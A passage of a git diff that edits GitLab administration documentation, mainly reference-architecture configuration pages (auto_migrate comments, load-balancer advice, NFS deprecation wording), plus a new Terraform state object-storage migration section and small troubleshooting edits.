traffic to the application servers. The specifics on which load balancer to use
-or its exact configuration is beyond the scope of GitLab documentation. We hope
+or its exact configuration is beyond the scope of GitLab documentation. We assume
that if you're managing multi-node systems like GitLab, you already have a load
-balancer of choice. Some load balancer examples include HAProxy (open-source),
+balancer of choice and that the routing methods used are distributing calls evenly
+between all nodes. Some load balancer examples include HAProxy (open-source),
F5 Big-IP LTM, and Citrix Net Scaler. This documentation outline the ports and
protocols needed for use with GitLab.
@@ -389,6 +390,8 @@ backend praefect
```
Refer to your preferred Load Balancer's documentation for further guidance.
+Also ensure that the routing methods used are distributing calls evenly across
+all nodes.
<div align="right">
<a type="button" class="btn btn-default" href="#setup-components">
@@ -494,7 +497,7 @@ a node and change its status from primary to replica (and vice versa).
'redis.password' => 'redis-password-goes-here',
}
- # Disable auto migrations
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
@@ -577,7 +580,7 @@ run: redis-exporter: (pid 30075) 76861s; run: log: (pid 29674) 76896s
'redis.password' => 'redis-password-goes-here',
}
- # Disable auto migrations
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
@@ -706,7 +709,7 @@ To configure the Sentinel:
node_exporter['listen_address'] = '0.0.0.0:9100'
redis_exporter['listen_address'] = '0.0.0.0:9121'
- # Disable auto migrations
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
@@ -831,7 +834,7 @@ in the second step, do not supply the `EXTERNAL_URL` value.
# Incoming recommended value for max connections is 500. See https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5691.
patroni['postgresql']['max_connections'] = 500
- # Disable automatic database migrations
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
# Configure the Consul agent
@@ -1095,6 +1098,7 @@ in the second step, do not supply the `EXTERNAL_URL` value.
postgresql['listen_address'] = '0.0.0.0'
postgresql['max_connections'] = 200
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
# Configure the Consul agent
@@ -1240,7 +1244,8 @@ To configure the Praefect nodes, on each one:
praefect['enable'] = true
praefect['listen_addr'] = '0.0.0.0:2305'
- gitlab_rails['rake_cache_clear'] = false
+ # Prevent database migrations from running on upgrade automatically
+ praefect['auto_migrate'] = false
gitlab_rails['auto_migrate'] = false
# Configure the Consul agent
@@ -1364,8 +1369,7 @@ On each node:
alertmanager['enable'] = false
prometheus['enable'] = false
- # Prevent database connections during 'gitlab-ctl reconfigure'
- gitlab_rails['rake_cache_clear'] = false
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
# Configure the gitlab-shell API callback URL. Without this, `git push` will
@@ -1533,7 +1537,6 @@ To configure the Sidekiq nodes, one each one:
nginx['enable'] = false
grafana['enable'] = false
prometheus['enable'] = false
- gitlab_rails['auto_migrate'] = false
alertmanager['enable'] = false
gitaly['enable'] = false
gitlab_workhorse['enable'] = false
@@ -1584,6 +1587,7 @@ To configure the Sidekiq nodes, one each one:
gitlab_rails['db_password'] = '<postgresql_user_password>'
gitlab_rails['db_adapter'] = 'postgresql'
gitlab_rails['db_encoding'] = 'unicode'
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
#######################################
@@ -1720,6 +1724,7 @@ On each node perform the following:
gitlab_rails['db_host'] = '10.6.0.20' # internal load balancer IP
gitlab_rails['db_port'] = 6432
gitlab_rails['db_password'] = '<postgresql_user_password>'
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
## Redis connection details
@@ -1885,7 +1890,6 @@ running [Prometheus](../monitoring/prometheus/index.md) and
external_url 'http://gitlab.example.com'
# Disable all other services
- gitlab_rails['auto_migrate'] = false
alertmanager['enable'] = false
gitaly['enable'] = false
gitlab_exporter['enable'] = false
@@ -1919,6 +1923,9 @@ running [Prometheus](../monitoring/prometheus/index.md) and
consul['configuration'] = {
retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13)
}
+
+ # Prevent database migrations from running on upgrade automatically
+ gitlab_rails['auto_migrate'] = false
```
1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
@@ -2028,10 +2035,10 @@ to use GitLab Pages, this currently [requires NFS](troubleshooting.md#gitlab-pag
See how to [configure NFS](../nfs.md).
WARNING:
-From GitLab 13.0, using NFS for Git repositories is deprecated.
-From GitLab 14.0, technical support for NFS for Git repositories
-will no longer be provided. Upgrade to [Gitaly Cluster](../gitaly/praefect.md)
-as soon as possible.
+From GitLab 14.0, enhancements and bug fixes for NFS for Git repositories will no longer be
+considered and customer technical support will be considered out of scope.
+[Read more about Gitaly and NFS](../gitaly/index.md#nfs-deprecation-notice) and
+[the correct mount options to use](../nfs.md#upgrade-to-gitaly-cluster-or-disable-caching-if-experiencing-data-loss).
<div align="right">
<a type="button" class="btn btn-default" href="#setup-components">
diff --git a/doc/administration/reference_architectures/50k_users.md b/doc/administration/reference_architectures/50k_users.md
index 606701a4d83..183a998e89a 100644
--- a/doc/administration/reference_architectures/50k_users.md
+++ b/doc/administration/reference_architectures/50k_users.md
@@ -17,23 +17,23 @@ full list of reference architectures, see
| Service | Nodes | Configuration | GCP | AWS | Azure |
|-----------------------------------------|-------------|-------------------------|-----------------|--------------|----------|
-| External load balancing node | 1 | 8 vCPU, 7.2 GB memory | n1-highcpu-8 | c5.2xlarge | F8s v2 |
-| Consul | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 |
-| PostgreSQL | 3 | 32 vCPU, 120 GB memory | n1-standard-32 | m5.8xlarge | D32s v3 |
-| PgBouncer | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 |
-| Internal load balancing node | 1 | 8 vCPU, 7.2 GB memory | n1-highcpu-8 | c5.2xlarge | F8s v2 |
-| Redis - Cache | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 |
-| Redis - Queues / Shared State | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 |
-| Redis Sentinel - Cache | 3 | 1 vCPU, 1.7 GB memory | g1-small | t3.small | B1MS |
-| Redis Sentinel - Queues / Shared State | 3 | 1 vCPU, 1.7 GB memory | g1-small | t3.small | B1MS |
-| Gitaly | 3 | 64 vCPU, 240 GB memory | n1-standard-64 | m5.16xlarge | D64s v3 |
-| Praefect | 3 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 |
-| Praefect PostgreSQL | 1+* | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 |
-| Sidekiq | 4 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 |
-| GitLab Rails | 12 | 32 vCPU, 28.8 GB memory | n1-highcpu-32 | c5.9xlarge | F32s v2 |
-| Monitoring node | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 |
+| External load balancing node | 1 | 8 vCPU, 7.2 GB memory | n1-highcpu-8 | `c5.2xlarge` | F8s v2 |
+| Consul | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 |
+| PostgreSQL | 3 | 32 vCPU, 120 GB memory | n1-standard-32 | `m5.8xlarge` | D32s v3 |
+| PgBouncer | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 |
+| Internal load balancing node | 1 | 8 vCPU, 7.2 GB memory | n1-highcpu-8 | `c5.2xlarge` | F8s v2 |
+| Redis - Cache | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | `m5.xlarge` | D4s v3 |
+| Redis - Queues / Shared State | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | `m5.xlarge` | D4s v3 |
+| Redis Sentinel - Cache | 3 | 1 vCPU, 1.7 GB memory | g1-small | `t3.small` | B1MS |
+| Redis Sentinel - Queues / Shared State | 3 | 1 vCPU, 1.7 GB memory | g1-small | `t3.small` | B1MS |
+| Gitaly | 3 | 64 vCPU, 240 GB memory | n1-standard-64 | `m5.16xlarge` | D64s v3 |
+| Praefect | 3 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | `c5.xlarge` | F4s v2 |
+| Praefect PostgreSQL | 1+* | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 |
+| Sidekiq | 4 | 4 vCPU, 15 GB memory | n1-standard-4 | `m5.xlarge` | D4s v3 |
+| GitLab Rails | 12 | 32 vCPU, 28.8 GB memory | n1-highcpu-32 | `c5.9xlarge` | F32s v2 |
+| Monitoring node | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | `c5.xlarge` | F4s v2 |
| Object storage | n/a | n/a | n/a | n/a | n/a |
-| NFS server | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 |
+| NFS server | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | `c5.xlarge` | F4s v2 |
```plantuml
@startuml 50k
@@ -142,7 +142,7 @@ To set up GitLab and its components to accommodate up to 50,000 users:
1. [Configure the external load balancer](#configure-the-external-load-balancer)
to handle the load balancing of the GitLab application services nodes.
1. [Configure the internal load balancer](#configure-the-internal-load-balancer).
- to handle the loa
+ to handle the load
1. [Configure Consul](#configure-consul).
1. [Configure PostgreSQL](#configure-postgresql), the database for GitLab.
1. [Configure PgBouncer](#configure-pgbouncer).
@@ -219,11 +219,12 @@ The following list includes descriptions of each server and its assigned IP:
## Configure the external load balancer
-In an active/active GitLab configuration, you'll need a load balancer to route
+In a multi-node GitLab configuration, you'll need a load balancer to route
traffic to the application servers. The specifics on which load balancer to use
-or its exact configuration is beyond the scope of GitLab documentation. We hope
+or its exact configuration is beyond the scope of GitLab documentation. We assume
that if you're managing multi-node systems like GitLab, you already have a load
-balancer of choice. Some load balancer examples include HAProxy (open-source),
+balancer of choice and that the routing methods used are distributing calls evenly
+between all nodes. Some load balancer examples include HAProxy (open-source),
F5 Big-IP LTM, and Citrix Net Scaler. This documentation outline the ports and
protocols needed for use with GitLab.
@@ -396,6 +397,8 @@ backend praefect
```
Refer to your preferred Load Balancer's documentation for further guidance.
+Also ensure that the routing methods used are distributing calls evenly across
+all nodes.
<div align="right">
<a type="button" class="btn btn-default" href="#setup-components">
@@ -442,7 +445,7 @@ To configure Consul:
# Set the network addresses that the exporters will listen on
node_exporter['listen_address'] = '0.0.0.0:9100'
- # Disable auto migrations
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
@@ -566,7 +569,7 @@ in the second step, do not supply the `EXTERNAL_URL` value.
# Incoming recommended value for max connections is 500. See https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5691.
patroni['postgresql']['max_connections'] = 500
- # Disable automatic database migrations
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
# Configure the Consul agent
@@ -862,7 +865,7 @@ a node and change its status from primary to replica (and vice versa).
node_exporter['listen_address'] = '0.0.0.0:9100'
redis_exporter['listen_address'] = '0.0.0.0:9121'
- # Prevent database migrations from running on upgrade
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
@@ -929,7 +932,7 @@ You can specify multiple roles, like sentinel and Redis, as:
node_exporter['listen_address'] = '0.0.0.0:9100'
redis_exporter['listen_address'] = '0.0.0.0:9121'
- # Prevent database migrations from running on upgrade
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
@@ -1061,7 +1064,7 @@ To configure the Sentinel Cache server:
node_exporter['listen_address'] = '0.0.0.0:9100'
redis_exporter['listen_address'] = '0.0.0.0:9121'
- # Disable auto migrations
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
@@ -1126,13 +1129,8 @@ a node and change its status from primary to replica (and vice versa).
# Set the network addresses that the exporters will listen on
node_exporter['listen_address'] = '0.0.0.0:9100'
redis_exporter['listen_address'] = '0.0.0.0:9121'
- ```
-
-1. Only the primary GitLab application server should handle migrations. To
- prevent database migrations from running on upgrade, add the following
- configuration to your `/etc/gitlab/gitlab.rb` file:
- ```ruby
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
@@ -1193,7 +1191,7 @@ You can specify multiple roles, like sentinel and Redis, as:
node_exporter['listen_address'] = '0.0.0.0:9100'
redis_exporter['listen_address'] = '0.0.0.0:9121'
- # Disable auto migrations
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
@@ -1325,7 +1323,7 @@ To configure the Sentinel Queues server:
node_exporter['listen_address'] = '0.0.0.0:9100'
redis_exporter['listen_address'] = '0.0.0.0:9121'
- # Disable auto migrations
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
@@ -1410,6 +1408,7 @@ in the second step, do not supply the `EXTERNAL_URL` value.
postgresql['listen_address'] = '0.0.0.0'
postgresql['max_connections'] = 200
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
# Configure the Consul agent
@@ -1517,7 +1516,7 @@ Praefect requires several secret tokens to secure communications across the Clus
Gitaly Cluster nodes are configured in Praefect via a `virtual storage`. Each storage contains
the details of each Gitaly node that makes up the cluster. Each storage is also given a name
-and this name is used in several areas of the config. In this guide, the name of the storage will be
+and this name is used in several areas of the configuration. In this guide, the name of the storage will be
`default`. Also, this guide is geared towards new installs, if upgrading an existing environment
to use Gitaly Cluster, you may need to use a different name.
Refer to the [Praefect documentation](../gitaly/praefect.md#praefect) for more info.
@@ -1555,7 +1554,8 @@ To configure the Praefect nodes, on each one:
praefect['enable'] = true
praefect['listen_addr'] = '0.0.0.0:2305'
- gitlab_rails['rake_cache_clear'] = false
+ # Prevent database migrations from running on upgrade automatically
+ praefect['auto_migrate'] = false
gitlab_rails['auto_migrate'] = false
# Configure the Consul agent
@@ -1679,8 +1679,7 @@ On each node:
alertmanager['enable'] = false
prometheus['enable'] = false
- # Prevent database connections during 'gitlab-ctl reconfigure'
- gitlab_rails['rake_cache_clear'] = false
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
# Configure the gitlab-shell API callback URL. Without this, `git push` will
@@ -1914,6 +1913,7 @@ To configure the Sidekiq nodes, on each one:
gitlab_rails['db_password'] = '<postgresql_user_password>'
gitlab_rails['db_adapter'] = 'postgresql'
gitlab_rails['db_encoding'] = 'unicode'
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
#######################################
@@ -2033,6 +2033,7 @@ On each node perform the following:
gitlab_rails['db_host'] = '10.6.0.20' # internal load balancer IP
gitlab_rails['db_port'] = 6432
gitlab_rails['db_password'] = '<postgresql_user_password>'
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
## Redis connection details
@@ -2228,7 +2229,6 @@ To configure the Monitoring node:
external_url 'http://gitlab.example.com'
# Disable all other services
- gitlab_rails['auto_migrate'] = false
alertmanager['enable'] = false
gitaly['enable'] = false
gitlab_exporter['enable'] = false
@@ -2262,6 +2262,9 @@ To configure the Monitoring node:
consul['configuration'] = {
retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13)
}
+
+ # Prevent database migrations from running on upgrade automatically
+ gitlab_rails['auto_migrate'] = false
```
1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
@@ -2356,10 +2359,10 @@ to use GitLab Pages, this currently [requires NFS](troubleshooting.md#gitlab-pag
See how to [configure NFS](../nfs.md).
WARNING:
-From GitLab 13.0, using NFS for Git repositories is deprecated.
-From GitLab 14.0, technical support for NFS for Git repositories
-will no longer be provided. Upgrade to [Gitaly Cluster](../gitaly/praefect.md)
-as soon as possible.
+From GitLab 14.0, enhancements and bug fixes for NFS for Git repositories will no longer be
+considered and customer technical support will be considered out of scope.
+[Read more about Gitaly and NFS](../gitaly/index.md#nfs-deprecation-notice) and
+[the correct mount options to use](../nfs.md#upgrade-to-gitaly-cluster-or-disable-caching-if-experiencing-data-loss).
<div align="right">
<a type="button" class="btn btn-default" href="#setup-components">
diff --git a/doc/administration/reference_architectures/5k_users.md b/doc/administration/reference_architectures/5k_users.md
index 0a236eac243..70d02bba855 100644
--- a/doc/administration/reference_architectures/5k_users.md
+++ b/doc/administration/reference_architectures/5k_users.md
@@ -24,20 +24,20 @@ costly-to-operate environment by using the
| Service | Nodes | Configuration | GCP | AWS | Azure |
|--------------------------------------------|-------------|-------------------------|----------------|-------------|----------|
-| External load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 |
-| Redis | 3 | 2 vCPU, 7.5 GB memory | n1-standard-2 | m5.large | D2s v3 |
-| Consul + Sentinel | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 |
-| PostgreSQL | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 |
-| PgBouncer | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 |
-| Internal load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 |
-| Gitaly | 3 | 8 vCPU, 30 GB memory | n1-standard-8 | m5.2xlarge | D8s v3 |
-| Praefect | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 |
-| Praefect PostgreSQL | 1+* | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 |
-| Sidekiq | 4 | 2 vCPU, 7.5 GB memory | n1-standard-2 | m5.large | D2s v3 |
-| GitLab Rails | 3 | 16 vCPU, 14.4 GB memory | n1-highcpu-16 | c5.4xlarge | F16s v2 |
-| Monitoring node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 |
+| External load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 |
+| Redis | 3 | 2 vCPU, 7.5 GB memory | n1-standard-2 | `m5.large` | D2s v3 |
+| Consul + Sentinel | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 |
+| PostgreSQL | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | `m5.xlarge` | D4s v3 |
+| PgBouncer | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 |
+| Internal load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 |
+| Gitaly | 3 | 8 vCPU, 30 GB memory | n1-standard-8 | `m5.2xlarge` | D8s v3 |
+| Praefect | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 |
+| Praefect PostgreSQL | 1+* | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 |
+| Sidekiq | 4 | 2 vCPU, 7.5 GB memory | n1-standard-2 | `m5.large` | D2s v3 |
+| GitLab Rails | 3 | 16 vCPU, 14.4 GB memory | n1-highcpu-16 | `c5.4xlarge` | F16s v2 |
+| Monitoring node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 |
| Object storage | n/a | n/a | n/a | n/a | n/a |
-| NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 |
+| NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | `c5.xlarge` | F4s v2 |
```plantuml
@startuml 5k
@@ -205,11 +205,12 @@ The following list includes descriptions of each server and its assigned IP:
## Configure the external load balancer
-In an active/active GitLab configuration, you'll need a load balancer to route
+In a multi-node GitLab configuration, you'll need a load balancer to route
traffic to the application servers. The specifics on which load balancer to use
-or its exact configuration is beyond the scope of GitLab documentation. We hope
+or its exact configuration is beyond the scope of GitLab documentation. We assume
that if you're managing multi-node systems like GitLab, you already have a load
-balancer of choice. Some load balancer examples include HAProxy (open-source),
+balancer of choice and that the routing methods used are distributing calls evenly
+between all nodes. Some load balancer examples include HAProxy (open-source),
F5 Big-IP LTM, and Citrix Net Scaler. This documentation outline the ports and
protocols needed for use with GitLab.
@@ -382,6 +383,8 @@ backend praefect
```
Refer to your preferred Load Balancer's documentation for further guidance.
+Also ensure that the routing methods used are distributing calls evenly across
+all nodes.
<div align="right">
<a type="button" class="btn btn-default" href="#setup-components">
@@ -487,7 +490,7 @@ a node and change its status from primary to replica (and vice versa).
'redis.password' => 'redis-password-goes-here',
}
- # Disable auto migrations
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
@@ -570,7 +573,7 @@ run: redis-exporter: (pid 30075) 76861s; run: log: (pid 29674) 76896s
'redis.password' => 'redis-password-goes-here',
}
- # Disable auto migrations
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
@@ -699,7 +702,7 @@ To configure the Sentinel:
node_exporter['listen_address'] = '0.0.0.0:9100'
redis_exporter['listen_address'] = '0.0.0.0:9121'
- # Disable auto migrations
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
@@ -824,7 +827,7 @@ in the second step, do not supply the `EXTERNAL_URL` value.
# Incoming recommended value for max connections is 500. See https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5691.
patroni['postgresql']['max_connections'] = 500
- # Disable automatic database migrations
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
# Configure the Consul agent
@@ -1087,6 +1090,7 @@ in the second step, do not supply the `EXTERNAL_URL` value.
postgresql['listen_address'] = '0.0.0.0'
postgresql['max_connections'] = 200
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
# Configure the Consul agent
@@ -1194,7 +1198,7 @@ Praefect requires several secret tokens to secure communications across the Clus
Gitaly Cluster nodes are configured in Praefect via a `virtual storage`. Each storage contains
the details of each Gitaly node that makes up the cluster. Each storage is also given a name
-and this name is used in several areas of the config. In this guide, the name of the storage will be
+and this name is used in several areas of the configuration. In this guide, the name of the storage will be
`default`. Also, this guide is geared towards new installs, if upgrading an existing environment
to use Gitaly Cluster, you may need to use a different name.
Refer to the [Praefect documentation](../gitaly/praefect.md#praefect) for more info.
@@ -1232,7 +1236,8 @@ To configure the Praefect nodes, on each one:
praefect['enable'] = true
praefect['listen_addr'] = '0.0.0.0:2305'
- gitlab_rails['rake_cache_clear'] = false
+ # Prevent database migrations from running on upgrade automatically
+ praefect['auto_migrate'] = false
gitlab_rails['auto_migrate'] = false
# Configure the Consul agent
@@ -1356,8 +1361,7 @@ On each node:
alertmanager['enable'] = false
prometheus['enable'] = false
- # Prevent database connections during 'gitlab-ctl reconfigure'
- gitlab_rails['rake_cache_clear'] = false
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
# Configure the gitlab-shell API callback URL. Without this, `git push` will
@@ -1523,7 +1527,6 @@ To configure the Sidekiq nodes, one each one:
nginx['enable'] = false
grafana['enable'] = false
prometheus['enable'] = false
- gitlab_rails['auto_migrate'] = false
alertmanager['enable'] = false
gitaly['enable'] = false
gitlab_workhorse['enable'] = false
@@ -1574,6 +1577,7 @@ To configure the Sidekiq nodes, one each one:
gitlab_rails['db_password'] = '<postgresql_user_password>'
gitlab_rails['db_adapter'] = 'postgresql'
gitlab_rails['db_encoding'] = 'unicode'
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
#######################################
@@ -1709,6 +1713,7 @@ On each node perform the following:
gitlab_rails['db_host'] = '10.6.0.20' # internal load balancer IP
gitlab_rails['db_port'] = 6432
gitlab_rails['db_password'] = '<postgresql_user_password>'
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
## Redis connection details
@@ -1874,7 +1879,6 @@ running [Prometheus](../monitoring/prometheus/index.md) and
external_url 'http://gitlab.example.com'
# Disable all other services
- gitlab_rails['auto_migrate'] = false
alertmanager['enable'] = false
gitaly['enable'] = false
gitlab_exporter['enable'] = false
@@ -1908,6 +1912,9 @@ running [Prometheus](../monitoring/prometheus/index.md) and
consul['configuration'] = {
retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13)
}
+
+ # Prevent database migrations from running on upgrade automatically
+ gitlab_rails['auto_migrate'] = false
```
1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
@@ -2017,10 +2024,10 @@ to use GitLab Pages, this currently [requires NFS](troubleshooting.md#gitlab-pag
See how to [configure NFS](../nfs.md).
WARNING:
-From GitLab 13.0, using NFS for Git repositories is deprecated.
-From GitLab 14.0, technical support for NFS for Git repositories
-will no longer be provided. Upgrade to [Gitaly Cluster](../gitaly/praefect.md)
-as soon as possible.
+From GitLab 14.0, enhancements and bug fixes for NFS for Git repositories will no longer be
+considered and customer technical support will be considered out of scope.
+[Read more about Gitaly and NFS](../gitaly/index.md#nfs-deprecation-notice) and
+[the correct mount options to use](../nfs.md#upgrade-to-gitaly-cluster-or-disable-caching-if-experiencing-data-loss).
<div align="right">
<a type="button" class="btn btn-default" href="#setup-components">
diff --git a/doc/administration/reference_architectures/index.md b/doc/administration/reference_architectures/index.md
index d5d4f8ac0cb..6698737af6a 100644
--- a/doc/administration/reference_architectures/index.md
+++ b/doc/administration/reference_architectures/index.md
@@ -12,7 +12,7 @@ This page details the recommended Reference Architectures that were built and
verified by the GitLab Quality and Support teams.
Below is a chart representing each architecture tier and the number of users
-they can handle. As your number of users grow with time, it’s recommended that
+they can handle. As your number of users grow with time, it's recommended that
you scale GitLab accordingly.
![Reference Architectures](img/reference-architectures.png)
diff --git a/doc/administration/repository_storage_paths.md b/doc/administration/repository_storage_paths.md
index e342ef8c04b..cea2144122b 100644
--- a/doc/administration/repository_storage_paths.md
+++ b/doc/administration/repository_storage_paths.md
@@ -156,5 +156,5 @@ often it is chosen. That is, `(storage weight) / (sum of all weights) * 100 = ch
## Move repositories
-To move a repository to a different repository path, use
-the same process as [migrating existing repositories to Gitaly Cluster](gitaly/praefect.md#migrate-existing-repositories-to-gitaly-cluster).
+To move a repository to a different repository path, use the same process as
+[migrating to Gitaly Cluster](gitaly/praefect.md#migrate-to-gitaly-cluster).
diff --git a/doc/administration/restart_gitlab.md b/doc/administration/restart_gitlab.md
index 69b3ae5282f..f4cc98ca145 100644
--- a/doc/administration/restart_gitlab.md
+++ b/doc/administration/restart_gitlab.md
@@ -4,18 +4,11 @@ group: Distribution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# How to restart GitLab
+# How to restart GitLab **(FREE SELF)**
Depending on how you installed GitLab, there are different methods to restart
its service(s).
-If you want the TL;DR versions, jump to:
-
-- [Omnibus GitLab restart](#omnibus-gitlab-restart)
-- [Omnibus GitLab reconfigure](#omnibus-gitlab-reconfigure)
-- [Source installation restart](#installations-from-source)
-- [Helm chart installation restart](#helm-chart-installations)
-
## Omnibus installations
If you have used the [Omnibus packages](https://about.gitlab.com/install/) to install GitLab, then
diff --git a/doc/administration/terraform_state.md b/doc/administration/terraform_state.md
index 0f3fdf4bb93..0c01279b04c 100644
--- a/doc/administration/terraform_state.md
+++ b/doc/administration/terraform_state.md
@@ -97,6 +97,39 @@ The following settings are:
| `remote_directory` | The bucket name where Terraform state files are stored | |
| `connection` | Various connection options described below | |
+### Migrate to object storage
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/247042) in GitLab 13.9.
+
+To migrate Terraform state files to object storage, follow the instructions below.
+
+- For Omnibus package installations:
+
+ ```shell
+ gitlab-rake gitlab:terraform_states:migrate
+ ```
+
+- For source installations:
+
+ ```shell
+ sudo -u git -H bundle exec rake gitlab:terraform_states:migrate RAILS_ENV=production
+ ```
+
+For GitLab 13.8 and earlier versions, you can use a workaround for the Rake task:
+
+1. Open the GitLab [Rails console](operations/rails_console.md).
+1. Run the following commands:
+
+ ```ruby
+ Terraform::StateUploader.alias_method(:upload, :model)
+
+ Terraform::StateVersion.where(file_store: ::ObjectStorage::Store::LOCAL). find_each(batch_size: 10) do |terraform_state_version|
+ puts "Migrating: #{terraform_state_version.inspect}"
+
+ terraform_state_version.file.migrate!(::ObjectStorage::Store::REMOTE)
+ end
+ ```
+
### S3-compatible connection settings
See [the available connection settings for different providers](object_storage.md#connection-settings).
diff --git a/doc/administration/troubleshooting/elasticsearch.md b/doc/administration/troubleshooting/elasticsearch.md
index 606697b5247..11425d464b9 100644
--- a/doc/administration/troubleshooting/elasticsearch.md
+++ b/doc/administration/troubleshooting/elasticsearch.md
@@ -203,7 +203,7 @@ To do this:
```rails
u = User.find_by_email('email_of_user_doing_search')
s = SearchService.new(u, {:search => 'search_term'})
- pp s.search_objects.class.name
+ pp s.search_objects.class
```
The output from the last command is the key here. If it shows:
@@ -217,7 +217,9 @@ The output from the last command is the key here. If it shows:
If all the settings look correct and it is still not using Elasticsearch for the search function, it is best to escalate to GitLab support. This could be a bug/issue.
-Moving past that, it is best to attempt the same search using the [Elasticsearch Search API](https://www.elastic.co/guide/en/elasticsearch/reference/current/search-search.html) and compare the results from what you see in GitLab.
+Moving past that, it is best to attempt the same [search via the Rails console](../../integration/elasticsearch.md#i-indexed-all-the-repositories-but-i-cant-get-any-hits-for-my-search-term-in-the-ui)
+or the [Elasticsearch Search API](https://www.elastic.co/guide/en/elasticsearch/reference/current/search-search.html),
+and compare the results from what you see in GitLab.
If the results:
diff --git a/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md b/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md
